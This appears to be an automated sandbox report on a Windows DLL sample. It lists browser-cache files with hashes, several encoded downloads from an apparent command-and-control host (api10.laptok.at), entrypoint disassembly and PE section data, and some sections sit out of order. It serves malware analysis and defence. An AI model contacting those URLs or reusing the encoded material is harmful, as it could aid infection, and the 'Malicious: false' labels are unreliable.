SSDEEP: 24:U/6gJ+qQtUHyxNAM43wuJFnFMDF3AJ12DG7:U/6gMqQtUSxNT43BFnsRACC

MD5: 9B7529DFB9B4E591338CBD595AD12FF7

SHA1: 0A127FA2778A1717D86358F59D9903836FCC602E

SHA-256: F1A3EA0DF6939526DA1A6972FBFF8844C9AD8006DE61DD98A1D8A2FB52E1A25D

SHA-512: 4154EC25031ED6BD2A8473F3C3A3A92553853AD4DEFBD89DC4DD72546D8ACAF8369F0B63A91E66DC1665CE47EE58D9FDD2C4EEFCC61BF13C87402972811AB5
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BBVuddh[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 304

Entropy (8bit): 6.758580075536471

Encrypted: false

SSDEEP: 6:6v/lhPkR/ChmU5nXyNbWgaviGjZ/wtDi6Xxl32inTvUI8zVp:6v/78/e5nXyNb4lueg32au/

MD5: 245557014352A5F957F8BFDA87A3E966

SHA1: 9CD29E2AB07DC1FEF64B6946E1F03BCC0A73FC5C

SHA-256: 0A33B02F27EE6CD05147D81EDAD86A3184CCAF1979CB73AD67B2434C2A4A6379

SHA-512: 686345FD8667C09F905CA732DB98D07E1D72E7ECD9FD26A0C40FEE8E8985F8378E7B2CB8AE99C071043BCB661483DBFB905D46CE40C6BE70EEF78A2BCDE946
05
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IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBVuddh.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........+......IDAT8O...P...3.....v..`0.}...'..."XD.`.`.5.3. ....)...a.-.............d.g.mSC.i..%.8*].}....m.$I0M..u.. ...,9....
.....i....X..<.y..E..M....q... ."...,5+..]..BP.5.>R....iJ.0.7.|?.....r.\-Ca......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BBY7ARN[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 778

Entropy (8bit): 7.591554400063189

Encrypted: false

SSDEEP: 12:6v/78/W/6TiO53VscuiflpvROsc13pPaOSuTJ8nKB8P9FekVA7WMZQ4CbAyvK0A:U/6WO5Fs2dBRGQOdl8Y8PHVA7DQ4CbX0

MD5: 7AEA772CD72970BB1C6EBCED8F2B3431
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SHA1: CB677B46C48684596953100348C24FFEF8DC4416

SHA-256: FA59A5A8327DB116241771AFCD106B8B301B10DBBCB8F636003B121D7500DF32

SHA-512: E245EF217FA451774B6071562C202CA2D4ACF7FC176C83A76CCA0A5860416C5AA31B1093528BF55E87DE6B5C03C5C2C9518AB6BF5AA171EC658EC74818E8AB2
E

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBY7ARN.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs.................IDAT8OMS[k.Q..v.....)&V*.*"./(H. U..|P,.....DP.}...bA.A|.....J..k.5Mj..ic...^.3.Mq..33;.\....*..EK8.".2
x.2.m;.}."..V...o..W7.\.5P...p.........2..+p..@4.-...R..{....3..#.-.. .E.Y....Z..L ..>z...[.F...h.........df_...-....8..s*~.N...|...,..Ux.5.FO#...E4.#.#.B.@..G.A.R._. .."g.s1.._@.u.zaC.F.n?.
w.,6.R%N=a....B:.Z.UB...>r..}.....a.....\4.3.../a.Q.......k<..o.HN.At.(../)......D*...u...7o.8|....b.g..~3...Y8sy.1IlJ..d.o.0R]..8...y,\...+.V...:?B}.#g&.`G.........2.......#X.y).$..'.Z.t.7O
.....g.J.2..`..soF...+....C.............z.....$.O:./...../].]..f.h*W.....P....H.7..Qv...rat....+.(..s.n..w...S...S...G.%v.Q.aX.h.4....o.~.nL.lZ..6.=...@..?.f.H...[..I)..["w..r.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BBY7ARN[1].png

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\BBnYSFZ[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 560

Entropy (8bit): 7.425950711006173

Encrypted: false

SSDEEP: 12:6v/78/+m8H/Ji+Vncvt7xBkVqZ5F8FFl4hzuegQZ+26gkalFUx:6H/xVA7BkQZL8OhzueD+ikalY

MD5: CA188779452FF7790C6D312829EEE284

SHA1: 076DF7DE6D49A434BBCB5D88B88468255A739F53

SHA-256: D30AB7B54AA074DE5E221FE11531FD7528D9EEEAA870A3551F36CB652821292F

SHA-512: 2CA81A25769BFB642A0BFAB8F473C034BFD122C4A44E5452D79EC9DC9E483869256500E266CE26302810690374BF36E838511C38F5A36A2BF71ACF5445AA2436

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/img-resizer/tenant/amp/entityid/BBnYSFZ.img?h=16&w=16&m=6&q=60&u=t&o=t&l=f&f=png

Preview:
.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8O.S.KbQ..zf.j...?@...........J.......z..EA3P....AH...Y..3......|6.6}......{..n. ...b..........".h4b.z.&.p8`.
..:..Lc....*u:......D...i$.)..pL.^..dB.T....#.f3...8.N.b1.B!.\...n..a...a.Z........J%.x<....|..b.h4.`0.EQP.. v.q....f.9.H`8..\...j.N&...X,2...<.B.v[.(.NS6..|>..n4...2.57.*.......f.Q&.a-..v..z..{P.V...
...>k.J...ri..,.W.+.......5:.W.t...i.....g....\.t..8.w...:......0....%~...F.F.o".'rx...b..vp....b.l.Pa.W.r..aK..9&...>.5...`..'W......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\F[1].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 339392

Entropy (8bit): 5.999967656351339

Encrypted: false

SSDEEP: 6144:cDJl443S9YbS47Fk3Zsv12tXBQWgy01CGFSpjYC5osGAEcJMizvDupzStPX56:cB35u8u6vMFgy0cWUGlMv65oXM

MD5: 415DBB7F17A00913790F8E99ADBB9D93

SHA1: C7D1A1B88A46A1E65B109257BFFFB5259900AF17

SHA-256: 3A7B725B6B273BFCFDBEC5A06868562AD848034EFBA247BE5739858768FC3B0A

SHA-512: 39C6EB2B71D0D68E0AEAC7DF2CCBDA743633A94895D90DC2569D866F1490A33200BEB29AC31573F2814E78487FF6FC50D492AC049213C8542ACE6BF23F24D048

Malicious: false

IE Cache URL:
api10.laptok.at/api1/gtYC_2BK_2FjCAsja/Qyq2AzjFZWki/EyFB_2F9syK/YEZOamZx4Lsvyb/NcUbBRiZnrBjBYyMQ6_2F/wKkcR85o4YpV1aiF/bH4gnTGDFJUIMEM/mE561
SA0pEAEX_2Bym/efdVnFq7t/Uwc_2FyPO9MzSPJ4_2BU/t81Od1UbJHPetnRHsOT/rqXpHd7rYb4we6DkYU8imU/_2FSOVXLJM_2F/q6lazIta/_2F2_2BRQRLToH8swdYpd
CX/22UvKXxbXV/jGu2E55VFqiwaQRp_/2BPcB4S_2F_2/BSRTbomcVfZ/RJtYgUcyfI1_2F/UArwf2CGHs_2B7xiuzpXf/hgcLVbPoq_2FekGC/m5J0XG9A/7iZlQL_2/F

Preview:
6jOtPWjpJsKgG9IhgDi2XnSCJeSPxONX1nV8WY+GCWFWyqgjjf6aBHZ4Gm39WG35NlAjlSFMwsnGPoXAWLoM/VLRnXdPawnt6pIAayjW023ZgrADWj9Fjr/h
EsQCUe4YN7RczMhFfFBSJE/eeaHpbpQOy3XXJLCECMM3JawVyKI5iDJIFdt8LR0d0hT19sg73Ioo/OjZ0sudP5iixOsSUCP++ITfM5DX+ewXXNSgm3azZl1E
qLWpD9YZWm1PgJLqtij73+/eCtHQdmU+FFqUDQ3Xnpks7WjfKicoK3vhxYzfuwHE3AUCMVgzwFEzknjCe9uIblPLxqxWMU6JLDpeSTbcyxbKggkrp+O89ZEF+bScp5n9Jc
1fsIkM9Ncw15Qt0YTxV/MgV22XDxC1hTWXMQuNHwUzeqTfFvh26+BNxM/PwN5yOJhezaNZpQp7q9tDSNskdDTftyq4K8ofKgCZv15zm+l5u7/Mcd5nxwUPW5
WsXa7ib9QPplhF063avjRaAFWVpamPBkQP1N1SoIbNNFsgzHlH79gPaBwu3X1dEAe3blRumLGYr8OAsEwvbOVxJvLh6q753BMvZjXGdTk+9dFyubDa1jpLDt
D176vNa++TwgurI3dCIbwwGkxT+S7BtkCz2UsVl8/oxv+pyVqTuFWJNBVsjmMBTH+o6ixzyxY4kCoQ14J3W6MW8QSctnAS2US5UlzBdCiE7HQNno7026e8F26RpsiAmcjt
EeqQ38jAnTbDfOm/u+sBYDbOeAwpBjLG/DryeM3Qi9w7O6LujG5iaCPrVUxgHhW5/6oMR8sdtLTYSw3ERvJPdZq/pt+pOqSVnTDfixNvt8OAYhiEKwuSyGf5nQHyRruX1T
vy+NIGP/+PTpz8rcqR3pPUYDDDZA7zg4T1I/Y2vuZ1crSAZAJy6aXwJD0XSAvEzXw3OBHfnIBt14DTppquKuqVJanzB0revx3N8H8GUUIncQil4aNk4MPGk5P4qJOiPkQT

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\a8a064[1].gif
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: GIF image data, version 89a, 28 x 28

Category: downloaded

Size (bytes): 16360

Entropy (8bit): 7.019403238999426

Encrypted: false

SSDEEP: 384:g2SEiHys4AeP/6ygbkUZp72i+ccys4AeP/6ygbkUZaoGBm:g2Tjs4Ae36kOpqi+c/s4Ae36kOaoGm

MD5: 3CC1C4952C8DC47B76BE62DC076CE3EB

SHA1: 65F5CE29BBC6E0C07C6FEC9B96884E38A14A5979

SHA-256: 10E48837F429E208A5714D7290A44CD704DD08BF4690F1ABA93C318A30C802D9
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SHA-512: 5CC1E6F9DACA9CEAB56BD2ECEEB7A523272A664FE8EE4BB0ADA5AF983BA98DBA8ECF3848390DF65DA929A954AC211FF87CE4DBFDC11F5DF0C6E3FEA8A57
40EF7

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif

Preview:
GIF89a.......dbd...........lnl.........trt..................!..NETSCAPE2.0.....!.......,..........+..I..8...`(.di.h..l.p,..(.........5H.....!.......,.........dbd...........lnl......dfd....................../..I..8...`(.di.h..l..e.
....Q... ..-.3...r...!.......,.........dbd..............tvt...........................*P.I..8...`(.di.h.v.....A<.. ......pH,.A..!.......,.........dbd........|~|......trt...ljl.........dfd.....................................................
.B`%.di.h..l.p,.t]S......^..hD..F. .L..tJ.Z..l.080y..ag+...b.H...!.......,.........dbd.............ljl.............dfd........lnl..............................................B.$.di.h..l.p.'J#............9..Eq.l:..tJ....
..E.B...#.....N...!.......,.........dbd...........tvt.....ljl.......dfd.........|~|.............................................D.$.di.h..l.NC.....C...0..)Q..t...L:..tJ.....T..%...@.UH...z.n.....!.......,.........dbd..............
lnl.........ljl......dfd...........trt...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\a8a064[1].gif

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\cfdbd9[1].png
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: downloaded

Size (bytes): 740

Entropy (8bit): 7.552939906140702

Encrypted: false

SSDEEP: 12:6v/70MpfkExg1J0T5F1NRlYx1TEdLh8vJ542irJQ5nnXZkCaOj0cMgL17jXGW:HMuXk5RwTTEovn0AXZMitL9aW

MD5: FE5E6684967766FF6A8AC57500502910

SHA1: 3F660AA0433C4DBB33C2C13872AA5A95BC6D377B

SHA-256: 3B6770482AF6DA488BD797AD2682C8D204ED536D0D173EE7BB6CE80D479A2EA7

SHA-512: AF9F1BABF872CBF76FC8C6B497E70F07DF1677BB17A92F54DC837BC2158423B5BF1480FF20553927ECA2E3F57D5E23341E88573A1823F3774BFF8871746FFA51

Malicious: false

IE Cache URL: https://static-global-s-msn-com.akamaized.net/hp-neu/sc/c6/cfdbd9.png

Preview:
.PNG........IHDR................U....sBIT....|.d.....pHYs...........~.....tEXtSoftware.Adobe Fireworks CS6......tEXtCreation Time.07/21/16.~y....<IDATH..;k.Q....;.;..&..#...4..2...
..V,...X..~.{..|.Cj......B$.%.nb....c1...w.YV....=g.............!..&.$.mI...I.$M.F3.}W,e.%..x.,..c..0.*V....W.=0.uv.X...C....3`....s.....c..............2]E0.....M...^i...[..]5.&...g.z5]H....gf....I...
.u....:uy.8"....5...0.....z.............o.t...G.."....3.H....Y....3..G....v..T....a.&K......,T.\.[..E......?........D........M..9...ek..kP.A.`2.....k...D.}.\...V%.\..vIM..3.t....8.S.P..........9.....yI.<...9...
..R.e.!`..-@........+.a..*x..0.....Y.m.1..N.I...V.'..;.V..a.3.U....,.1c.-.J<..q.m-1...d.A..d.`.4.k..i.......SL.....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\checksync[1].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 20808

Entropy (8bit): 5.301767642140402

Encrypted: false

SSDEEP: 384:RqAGcVXlblcqnzleZSug2f5vzBgF3OZOsQWwY4RXrqt:+86qhbz2RmF3OssQWwY4RXrqt

MD5: 97A17EFCA6ECAE418CACBBF6AE41B0B1

SHA1: 31235CDB60298018C1C0D1EFE712FF3281A7B29B

SHA-256: 00FFE70B03F4DF3A0D653D15DF9DB3D4451AD931953B44F9541DD59D8538FD90

SHA-512: DA7EE38B51F31BDA399E68AC9D6CA7532C846C7BF466E94F40CB7C6382F1A64F0567A3BCE85D12E1F37F84F4765FF703405309E6A545FE8D482B0EFEAAE9E52
5

Malicious: false

Preview:
<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
:"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
ld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"succe
ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/\/hblg.media.net\/log?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\/\/cslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\checksync[2].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: HTML document, ASCII text, with very long lines

Category: dropped

Size (bytes): 20808

Entropy (8bit): 5.301767642140402

Encrypted: false

SSDEEP: 384:RqAGcVXlblcqnzleZSug2f5vzBgF3OZOsQWwY4RXrqt:+86qhbz2RmF3OssQWwY4RXrqt

MD5: 97A17EFCA6ECAE418CACBBF6AE41B0B1

SHA1: 31235CDB60298018C1C0D1EFE712FF3281A7B29B

SHA-256: 00FFE70B03F4DF3A0D653D15DF9DB3D4451AD931953B44F9541DD59D8538FD90

SHA-512: DA7EE38B51F31BDA399E68AC9D6CA7532C846C7BF466E94F40CB7C6382F1A64F0567A3BCE85D12E1F37F84F4765FF703405309E6A545FE8D482B0EFEAAE9E52
5

Malicious: false
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Static File Info

General
File type: PE32 executable (DLL) (GUI) Intel 80386, for MS Wi

ndows

Entropy (8bit): 6.790680411363702

Preview:
<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":75,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"|","sepTime"
:"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
ld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"succe
ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/\/hblg.media.net\/log?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\/\/cslogger.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\checksync[2].htm

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\cu1E[1].htm
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: ASCII text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 270440

Entropy (8bit): 5.999927116066864

Encrypted: false

SSDEEP: 6144:Y+0C7j1OHxuaO32a5uF6e/jwm+JBJk18h++os7c2Wq/:YQ9Oc35663Xxb157cI/

MD5: E924EC561FB47C3C0077569F989E9945

SHA1: 7B779431CDFB4199AB382029420C49A8E7145CBD

SHA-256: 620F9E87417B9B64C9CA5D8C86EADC68BE4EFBCD4F829857AA3E88CBCF8FFCEA

SHA-512: 61258962ADD49591F56ADE96442EF93067AB937903798757CE620AE1B6A7E05FCB4703A3CC25764A71963BC848E9924B20631A88511E48F0C93BF24AA079941A

Malicious: false

IE Cache URL:
api10.laptok.at/api1/nH23HHDrgk/10Cw7k0sEsFdP7SDZ/GJzI8RwZt_2F/lJSbcpCS9kd/So9_2FRP7wVauo/K_2FZsHvY_2BQo_2B8KvW/kveNSQqUDIB8KWkD/_2BFdRg
0RIG_2BM/KBDjblq5CBzqopMAX_/2BiqcvBwe/7091jLT4LvMbkLNdIBL_/2FJrqtJSJIzTB5wtJ4U/pKouwXKTg9H_2FU5iFL7fr/G5kdpSuG0DFl4/78sStOBq/1KCwgfl2cve2_2
B91ieBA_2/BG_2BoI5kj/vpZCVzwwZvJx0j7Ia/gE7Fru2i7y88/pRsD_2Fy5JZ/pq9kw97v_2BgUx/yAzHUV1dSPgWD6UrhGUax/xyL8sVq_2BL2eSk/cu1E

Preview:
Mh76sSvSPOqc78Mw1cXKmfvRxMwaaWEKesJW7t3AmxNSv6lyFLsUY4n83l6Yoab2uwOf2DkFEA20NBf2B/PlNW0FGgZF1zakBvAAiOohIBorvfHvu0rE0MTz
KZI6eVDmHbEQVaVPC4JsjuGf0N7E+9nHMyKQy+eomLvq8xg7jOLLutl9wiglWRzIFsmqwKpy+Jx9CmX6prDnV+YbPCPCzDGpeIOViLBndJ5aTmSzWtf9aozM
C9nrgnDUx4Ja12aZHw96rQjFCZxnto2efGDVoGagL1Qb4es8tZyBB98MqaOkN3gT5988hQ+TylRyO5K4lVE2vU6ZAQDWQS7QTAWcVobl/1/Fox/23pZzLEIOLVJ/WfeqCt
GDEE4bg8MFrEqWgAnzbeqJAbvubaYyD+0+Zcl/QheXkuMWbqBVzsn7YJZl11v+XPwuTsUH5WeJvTk+FAdawWNtrMlftd/5E8XgzDC/GoU1RPapJvOBn4UQnv
updMy8aUXPwNvTlZyncvCeIkr6420wlShxBVKfmC/p4CKUGM/0Yv46mRy3vfvWoM+DtcTTZOTd6uI32X/2ZWZzW1PC1xjLuJj+8pSGzgC9qGzoy5mXq1Jr731LoMV/sc6V
vm+ZvYN4Rd7G2gqgEK/DM4x+8pRx6WlgFvZLkEfp1NRz28ySvazWWxtjhFJmVW+2mpNjMQF5be5jSkmr2L6IGNu+780K4UJeiStDfPCA+xYYEXw9+fIw35o6
XmsmSNuR3mzl8LKK/wAOyo/qIpQbX1D1EMIdW515W1AY8WwNEtN6Ri2otZ2LWGX0anUNlUxeO9PP6PypAKVYJ8CkE2JjqkpT0qeevIhmgtanzqUQxFa66tcE
kAxsRnwObim3obpVGch3Sq3RpEiLvbZAO8UBrtIcqyiuJgmDTq+L/EZpdrTIioUAumq9Zl0hnteCIUF+35rXjTsfnkl7axJeycpBVo3+yFRHLOp1Jwc+dmTYtlD1/fd48Q
/Z0cmd511h

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\de-ch[1].json
Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: UTF-8 Unicode text, with very long lines, with no line terminators

Category: downloaded

Size (bytes): 76785

Entropy (8bit): 5.343242780960818

Encrypted: false

SSDEEP: 768:olAy9XsiItnuy5zIux1whjCU7kJB1C54AYtiQzNEJEWlCFPQtihPxVUYUEJ0YAtF:olLEJxa4CmdiuWloIti1wYm7B

MD5: DBACAF93F0795EB6276D58CC311C1E8F

SHA1: 4667F15EAB575E663D1E70C0D14FE2163A84981D

SHA-256: 51D30486C1FE33A38A654C31EDB529A36338FBDFA53D9F238DCCB24FF42F75AF

SHA-512: CFC1986EF5C82A9EA3DCD22460351DA10CF17BA6CDC1EE8014AAA8E2A255C66BB840B0A5CC91E0EB42E6FE50EC0E2514A679EA960C827D7C8C9F891E559083
87

Malicious: false

IE Cache URL: https://www.msn.com/_h/e012d846/webcore/externalscripts/oneTrustV2/consent/55a804ab-e5c6-4b97-9319-86263d365d28/6f0cca92-2dda-4588-a757-
0e009f333603/de-ch.json

Preview:
{"DomainData":{"pclifeSpanYr":"Year","pclifeSpanYrs":"Years","pclifeSpanSecs":"A few seconds","pclifeSpanWk":"Week","pclifeSpanWks":"Weeks","cctId":"55a804ab-e5
c6-4b97-9319-86263d365d28","MainText":"Ihre Privatsph.re","MainInfoText":"Wir verarbeiten Ihre Daten, um Inhalte oder Anzeigen bereitzustellen, und analysieren die 
Bereitstellung solcher Inhalte oder Anzeigen, um Erkenntnisse .ber unsere Website zu gewinnen. Wir geben diese Informationen auf der Grundlage einer Einwilligung und 
eines berechtigten Interesses an unsere Partner weiter. Sie k.nnen Ihr Recht auf Einwilligung oder Widerspruch gegen ein berechtigtes Interesse aus.ben, und zwar auf 
der Grundlage eines der folgenden bestimmten Zwecke oder auf Partnerebene .ber den Link unter jedem Zweck. Diese Entscheidungen werden an unsere Anbieter, die 
am Transparency and Consent Framework teilnehmen, signalisiert.","AboutText":"Weitere Informationen","AboutCookiesText":"Ihre Privatsph.re","ConfirmText":"Alle zulas
sen","AllowAll
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TrID: Win32 Dynamic Link Library (generic) (1002004/3) 
99.60%
Generic Win/DOS Executable (2004/3) 0.20%
DOS Executable Generic (2002/1) 0.20%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: Ne6A4k8vK6.dll

File size: 360448

MD5: 282b902a356c196b4a097431a9aa576e

SHA1: 2bf3698a4f386c2f30b810964f1045ccc6929bdd

SHA256: d33a4d3ac76095145e6061009fc20432b5c2c6ec4a828c
7b6956ea5f072f2c34

SHA512: 299d44e17940c3685e6e650e3f4cb6e0eb99a4be574a96
b83fae71df363e5a03b6348d6906b46021b7ae05e53c48a
fae5c9f37b2dba5b365f5ff7f077afd4197

SSDEEP: 6144:g87Sm49lFRQSAe5klIQm3n/ym1grjpY7nf9Gv3lY
dkv+hgG2snG4Z/gU:Im+3QSAdm3n/yogZgsv3Gqv0gG
20G45v

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......b.6.&.X.
&.X.&.X..F%.>.X..F6...X..F5...X./...#.X.&.Y.I.X..F*.'.X..F".
'.X..F$.'.X..F .'.X.Rich&.X.........PE..L.... .E...........

General

File Icon

Icon Hash: 74f0e4ecccdce0e4

General
Entrypoint: 0x100285d5

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x10000000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

DLL Characteristics:

Time Stamp: 0x45BE2089 [Mon Jan 29 16:27:53 2007 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: e0e710d4ed87ec11636d345dba071187

Instruction

cmp dword ptr [esp+08h], 01h

jne 00007F5D74B9B8C7h

call 00007F5D74BA4670h

push dword ptr [esp+04h]

mov ecx, dword ptr [esp+10h]

mov edx, dword ptr [esp+0Ch]

call 00007F5D74B9B7B2h

pop ecx

retn 000Ch

mov eax, dword ptr [esp+04h]

xor ecx, ecx

cmp eax, dword ptr [100503A0h+ecx*8]

je 00007F5D74B9B8D4h

inc ecx

Static PE Info

Entrypoint Preview
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cmp ecx, 2Dh

jl 00007F5D74B9B8B3h

lea ecx, dword ptr [eax-13h]

cmp ecx, 11h

jnbe 00007F5D74B9B8CEh

push 0000000Dh

pop eax

ret 

mov eax, dword ptr [100503A4h+ecx*8]

ret 

add eax, FFFFFF44h

push 0000000Eh

pop ecx

cmp ecx, eax

sbb eax, eax

and eax, ecx

add eax, 08h

ret 

call 00007F5D74BA20B8h

test eax, eax

jne 00007F5D74B9B8C8h

mov eax, 10050508h

ret 

add eax, 08h

ret 

call 00007F5D74BA20A5h

test eax, eax

jne 00007F5D74B9B8C8h

mov eax, 1005050Ch

ret 

add eax, 0Ch

ret 

push esi

call 00007F5D74B9B8ACh

mov ecx, dword ptr [esp+08h]

push ecx

mov dword ptr [eax], ecx

call 00007F5D74B9B852h

pop ecx

mov esi, eax

call 00007F5D74B9B885h

mov dword ptr [eax], esi

pop esi

ret 

push ebp

mov ebp, esp

sub esp, 48h

mov eax, dword ptr [10050514h]

xor eax, ebp

mov dword ptr [ebp-04h], eax

push ebx

xor ebx, ebx

push esi

mov esi, dword ptr [ebp+08h]

cmp dword ptr [esi+14h], ebx

push edi

mov dword ptr [ebp-2Ch], ebx

mov dword ptr [ebp-24h], ebx

mov dword ptr [ebp-1Ch], ebx

mov dword ptr [ebp-28h], ebx

Instruction

Rich Headers
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Programming Language: [RES] VS2005 build 50727
[ C ] VS2005 build 50727
[EXP] VS2005 build 50727
[C++] VS2005 build 50727
[ASM] VS2005 build 50727
[LNK] VS2005 build 50727
[IMP] VS2008 SP1 build 30729

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x4f020 0x93 .rdata

IMAGE_DIRECTORY_ENTRY_IMPORT 0x4e754 0x3c .rdata

IMAGE_DIRECTORY_ENTRY_RESOURCE 0xb1000 0x4d0 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0xb2000 0x1c98 .reloc

IMAGE_DIRECTORY_ENTRY_DEBUG 0x3e220 0x1c .rdata

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x4cc28 0x40 .rdata

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x3e000 0x1b4 .rdata

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x3c44c 0x3d000 False 0.709148469518 data 6.87915642356 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rdata 0x3e000 0x110b3 0x12000 False 0.671644422743 data 6.38350536305 IMAGE_SCN_CNT_INITIALIZED
_DATA, 
IMAGE_SCN_MEM_READ

.data 0x50000 0x604c8 0x4000 False 0.558715820312 COM executable for DOS 5.48871661926 IMAGE_SCN_CNT_INITIALIZED
_DATA, 
IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0xb1000 0x4d0 0x1000 False 0.150146484375 data 1.65729733757 IMAGE_SCN_CNT_INITIALIZED
_DATA, 
IMAGE_SCN_MEM_READ

.reloc 0xb2000 0x2c74 0x3000 False 0.485595703125 data 4.83368153083 IMAGE_SCN_CNT_INITIALIZED
_DATA, 
IMAGE_SCN_MEM_DISCARDA
BLE, IMAGE_SCN_MEM_READ

Name RVA Size Type Language Country

RT_VERSION 0xb10a0 0x2b0 data English United States

